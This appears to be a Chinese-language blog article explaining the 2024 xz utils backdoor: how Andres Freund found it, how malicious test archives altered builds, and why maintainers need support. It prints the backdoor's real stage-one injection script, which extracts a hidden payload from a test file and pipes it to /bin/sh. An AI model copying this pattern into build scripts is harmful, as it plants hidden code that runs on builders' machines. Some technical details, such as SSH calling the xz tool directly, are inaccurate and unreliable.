SSH 中觸發的漏洞可以允許黑客接管服務器。安全專家感到恐慌。這次攻擊可能持續了兩年多,需要大量的資源和技術技能。

在過去的幾個月里,每個人都在談論 SSH 中觸發的漏洞。通常對它的描述相當復雜。這只是某個隨機應用程序中的另一個漏洞嗎?如果是這樣,為什么網絡安全專家如此關注這一漏洞,而在線論壇上充斥著恐慌的安全專家?讓我們一探究竟!

正如我們在 wiz.io 上讀到的,在 xz utils 的 5.6.0 和 5.6.1 版本中發現了一個后門,影響了 SSH。據我們了解,xz 是一個命令行壓縮工具,由 lzma 和 xz 組成,并影響了 SSH。

2024年3月29日星期五,Andres Freund向Openwall郵件列表發送了一封電子郵件。郵件列表對于精通技術的人來說就像Discord一樣,而Openwall是一個保護開源代碼的項目。

正是在那里，Andres 分享了他令人不安的發現。

服務器接管

他當時正在使用安全Shell協議(SSH)進行一些工作。對于幾乎每一個需要連接到服務器的人來說,SSH就像意大利面的叉子一樣。開發人員、DevOps、SecOps以及技術領域的每個人都在使用SSH安全地連接到服務器。即使服務器也使用SSH連接到其他服務器。

所以Andres當時正在做正常的技術工作,但有些事情不對勁,不僅僅是2024年橄欖油的價格。當他使用SSH登錄到一臺服務器時,服務器開始準備起飛。

風扇轉動得越來越快,通常安靜的服務器開始發出吸氣和打嗝的聲音。在這種時候,人們會檢查他們是否忘記關閉Windows時鐘應用程序,那個耗費CPU資源的野獸。

但是Andres使用的是Debian。所以他能夠立即排除這種可能性。此外,他注意到了更多的問題。Valgrind開始報告內存出現了一些問題。

這可能是什么原因呢?Windows Explorer突然開始挖掘比特幣了嗎?不可能是這樣的!

通常人們會責怪服務器,然后忘記整個問題,但有些事情困擾著Andres,他決定進行調查。

在深入研究之后,他注意到實際上是ssh導致了所有這些癥狀。這很奇怪,因為ssh不顯示廣告,你也不能在上面玩《古墓麗影:決定版》。

那么這個幾乎不消耗卡路里的應用程序到底是如何讓服務器如此劇烈運轉的呢?

兔子洞深處

兔子洞深處 Andres決定再深入一點。他啟動了診斷工具,越來越接近找出問題的具體原因。肯定是ssh,但ssh中的哪個具體部分呢?他注意到是xz。

深入下去,發現xz的一個特定部分導致了CPU和內存的狂歡派對——liblzma。

總結一下。Liblzma是xz命令行工具使用的壓縮庫。SSH使用了該命令行工具。這是計算機程序中正常的依賴鏈,在這種情況下,正是SSH的深層依賴liblzma導致了問題。

感謝開源,Andres能夠上網查看究竟發生了什么。他能夠看到Debian的xz utils的源代碼。

Andres發現了大量關于惡意代碼如何工作的信息。有兩個測試文件實際上是存檔文件。一個復雜的操作系統導致這些存檔文件在構建過程中被提取出來,并以包含后門的方式修改SSH構建,讓黑客可以登錄到服務器。

有趣的是,Andres發現這個后門還在開發中。隨著xz的后續版本發布,后門的作者試圖隱藏后門的存在,并實際修復了導致Valgrind錯誤列表像圣誕樹一樣閃爍的內存問題。

幸運的是,這個后門的作者相當低級,這讓Andres意識到有些不對勁。再過幾天或幾周,就沒人會注意到有什么問題了。

The source code of the backdoor:

####Hello####
#??Z?.hj?
eval `grep ^srcdir= config.status`
if test -f ../../config.status;then
eval `grep ^srcdir= ../../config.status`
srcdir="../../$srcdir"
fi
export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +724)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31265|tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh
####World####

特別是因為整個后門程序是以一種隱藏在某些倉庫中、只在特定環境下激活的方式構建的。Debian操作系統是決定使用該后門的一個重要因素。"

后門的影響

安全專家對這一發現感到震驚,每一天都帶來更多可怕的細節。通常當你有一臺服務器,并想要修復一個安全漏洞時,你可以使用SSH登錄并更新軟件。

但在這種情況下,SSH本身就存在一個后門。在這種情況下該怎么辦?

Wiz.io建議立即停止使用、升級受影響的服務器或者降級到不存在黑客可乘之機的版本。美國國家標準與技術研究院(NIST)對這個漏洞給予了10分的最高評級(滿分10分)。美國國家標準與技術研究院很少會對漏洞給予如此高的評級。

上一次發生這種情況是在 2024 年 2 月 21 日，針對 CVE-2024-1709：“ConnectWise ScreenConnect 23.9.7 及之前版本受身份驗證繞過漏洞的影響，該漏洞可能允許攻擊者直接訪問機密信息或關鍵系統。”

說 SecOps 目前正面臨困境還算輕描淡寫。現實情況是非常糟糕的。即使目前沒有關于針對已經設置的后門的任何主動攻擊信息，形勢依然嚴峻。

此外，代碼庫中那個令人不安的“Hello World”玩笑似乎暗示這只是類似攻擊的開始，實際上要將后門部署到目前這種程度，已經涉及到相當復雜的操作和技術知識。

這是支持核心維護者的信號

關于這次攻擊的所有細節都需要被發現，未來也將成為許多學術論文的主題。但得益于 Rob Mensching 的努力，我們已經能了解到許多內容。

一些專家認為這并非一次快速攻擊，而是一個經過精心策劃的計劃。兩年前，一些人開始持續向 xz 項目的維護者施壓，要求將維護權交給能夠繼續項目的新人員。公開的溝通信息表明，還存在一些隱晦的實質壓力。

最終，新維護者接手項目并開展工作，一切都很順利，直到后來被感染的檔案被加入項目。

我不確定那些向原 xz 維護者施壓的人是否參與其中。也許是，也許不是。不管怎樣，新維護者就是這樣上任的。同樣，我也不能確定賈譚是否真的就是行動背后的關鍵人物，因為他/她的系統也可能已經被入侵。這里存在很多不確定因素。

由于維護者的系統也可能被攻陷，這方面存在很多不確定性。

這里強調的一個重要問題是核心庫的維護者有多脆弱。我們所有人都依賴這些庫，但他們通常無法從這項工作中獲得收入，可能處于失業狀態，可能身陷危機，或面臨困境。

這些維護者沒有得到他們所需的所有資源，這是無法接受的。我們需要一種解決方案，讓整個社區（包括企業）全面地物質上支持這些人，并提供他們需要的建議，使他們能夠專注于自己的項目而不陷入任何陷阱。在這個案例中，如果原維護者能繼續項目工作，他本可以立即阻止漏洞的產生！

開源萬歲

得益于所有相關部分的開源性質，我們得以深入了解這次后門攻擊。如果無法查看源代碼，安德烈斯就無法如此迅速地向世界發出警報。對于封閉系統來說，從創建漏洞報告到公司復現、調查和修復可能需要數周甚至數月，導致后門在野外持續更長時間。

由于我們知道黑客引入后門的每一步操作，開源開發者和調查人員將能夠封堵這一路上開啟的每一扇門。這意味著即使如此復雜的攻擊可能發生，潛在的攻擊面也會被封鎖。

在這場戰斗中，開源就像一個自愈的生物，在每次病毒侵襲后變得愈加強大。當然，我們仍需要繼續改進。